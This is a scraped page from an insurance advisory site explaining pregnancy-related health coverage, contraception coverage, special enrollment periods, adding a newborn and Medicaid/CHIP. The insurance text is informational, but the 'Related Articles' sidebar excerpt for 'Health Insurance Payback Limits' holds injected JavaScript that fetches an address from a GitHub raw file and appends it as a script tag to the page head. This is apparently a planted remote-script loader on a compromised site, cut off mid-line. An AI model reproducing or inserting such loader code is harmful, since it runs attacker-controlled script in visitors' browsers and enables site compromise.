Health Insurance and Pregnancy - Compass Insurance Advisors
  • Services for Pregnant Women or Women Who may Become Pregnant

    1. Breastfeeding support and counseling from trained providers, and access to breastfeeding supplies, for pregnant and nursing women.
    2. Breast feeding support, counseling and equipment for the duration of breast feeding
    3. Coverage for pumps and equipment must be covered under Marketplace plans
    4. Birth control: Food and Drug Administration-approved contraceptive methods, sterilization procedures, and patient education and counseling, as prescribed by a health care provider for women with reproductive capacity (not including abortifacient drugs). This does not apply to health plans sponsored by certain exempt “religious employers.” Learn more about contraceptive coverage.
    5. Folic acid supplements for women who may become pregnant
    6. Gestational diabetes screening for women 24 weeks pregnant (or later) and those at high risk of developing gestational diabetes
    7. Gonorrhea screening for all women at higher risk
    8. Hepatitis B screening for pregnant women at their first prenatal visit
    9. Maternal depression screening for mothers at well-baby visits (PDF, 1.5 MB)
    10. Preeclampsia prevention and screening for pregnant women with high blood pressure
    11. Rh incompatibility screening for all pregnant women and follow-up testing for women at higher risk
    12. Syphilis screening
    13. Expanded tobacco intervention and counseling for pregnant tobacco users
    14. Urinary tract or other infection screening
    15. Covered contraceptive methods

    FDA-approved contraceptive methods prescribed by a woman’s doctor are covered, including:

    • Barrier methods, like diaphragms and sponges
    • Hormonal methods, like birth control pills and vaginal rings
    • Implanted devices, like intrauterine devices (IUDs)
    • Emergency contraception, like Plan B® and ella®
    • Sterilization procedures
    • Patient education and counseling

    Plans aren’t required to cover drugs to induce abortions and services for male reproductive capacity, like vasectomies.

    Pregnancy and Special Enrollment Periods

    • If you’re outside of an enrollment period, becoming pregnant does not give you a special election period (SEP). The birth of a child does open a special election period. Depending on your employer or individual coverage, you will typically have 30-60 days after the birth to add the baby.
    • Medicaid and CHIP can begin anytime if found eligible
    • If found ineligible for Medicaid or CHIP, this create a special enrollment period and you can sign up for coverage through the marketplace.

    Adding a Baby to your Coverage

    Once you give birth, you will need to update your coverage and add your child to the plan. Depending on your employer or individual coverage, you will typically have 30-60 days after the birth to add the baby. The policy will be back dated to the day of the birth.

    No Existing Coverage at the Time of Birth

    Having a baby gives you a special enrollment period. Your coverage will begin the day your baby is born. If applying after the birth, your plan will back date to the day of the birth.

    Medicaid and CHIP

    If found eligible for Medicaid or CHIP you will be covered for the birth and the baby will be covered. If the Medicaid or CHIP coverage ends you are eligible to enroll in a Marketplace plan.

  • Leave a Reply

    Your email address will not be published. Required fields are marked *

Need Help?

Speak To Craig Today!

(801) 879-8893

Monday - Friday 8:00 am - 9:00 PM


Or Find Affordable Insurance Plans

Related Articles

Dynamic Blog Short Description

  • Health Insurance Payback Limits

    var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(scri

    Read More
  • Modified Adjusted Gross Income

    Modified Adjusted Gross Income

    Because the marketplace application requires an estimated income for the year you want insurance coverage, it can be quite stressful predicting and figuring out your adjusted gross income. Unbelievably enough, many refrain from purchasing health insurance because they believe their gross income wil

    Read More
  • What is the Silver Sneakers Program?

    What is the Silver Sneakers Program?

    How does SilverSneakers work? SilverSneakers is a senior fitness program for adults 65+. And if you have a participating Medicare Advantage or Medigap plan, you can participate in SilverSneakers at no extra cost! What does SilverSneakers include? SilverSneakers members are encouraged to st

    Read More
  • What is the 1095-A?

    What is the 1095-A?

    What is the 1095-A? The 1095-A is the form you need to file your taxes if you or someone in your household had a health plan through the Marketplace in the previous year. The 1095-A will be mailed to you as early as mid-January or as late as February 1st. Remember, this form comes from the Marke

    Read More
  • A Complete Guide to Health Savings Accounts

    A Complete Guide to Health Savings Accounts

    Introduction Are you tired of paying high premiums and medical bills while not fully understanding your insurance policy? Well, I'm here to tell you about some options that could save money on your medical expenses and premium while also getting tax benefits. Keep reading to learn more! What

    Read More
  • The Medicaid Unwinding Explained

    The Medicaid Unwinding Explained

    https://youtu.be/1TJUu7Gyk_U The Medicaid Unwinding Explained! What is the Medicaid Unwinding? At the start of the COVID-19 pandemic, Congress enacted the Families First Coronavirus Response Act (FFCRA). This ensured that people would have access to continuous health coverage through Med

    Read More
  • How to GUARANTEE You’re On the Right Health Insurance Plan

    https://youtu.be/sjpxlgfjkzs?rel=0 Introduction: Feeling overwhelmed and confused when choosing a health insurance plan is a common experience. But what if there was an insider secret to guaranteeing that you're on the right plan? In this blog post, we'll explore the benefits of Compass's

    Read More
  • Medicare Part D

    Medicare Part D

    Drug Coverage: What is Medicare Part D? Medicare drug coverage helps pay for prescription drugs. If you don’t currently require any prescriptions, there are still reasons to consider getting Medicare drug coverage.         Medicare drug coverage (Part D) is optional and is offered t

    Read More
  • How Much Does Health Insurance Cost?

    How Much Does Health Insurance Cost?

    How Much Does Health Insurance Cost? How much does individual health insurance cost? The answer to that is dependent on many factors. One way to get a benchmark idea of how much you'll pay for health insurance is by looking at the federal poverty level.If you are paying for health insurance as a

    Read More

What Others Say About Us

Our Customers Love Us

Craig Habbeshaw

(801) 879-8893

No Extra Cost. Professional Guidence. Complete Protection. Simplified Enrollment. Personalized Support.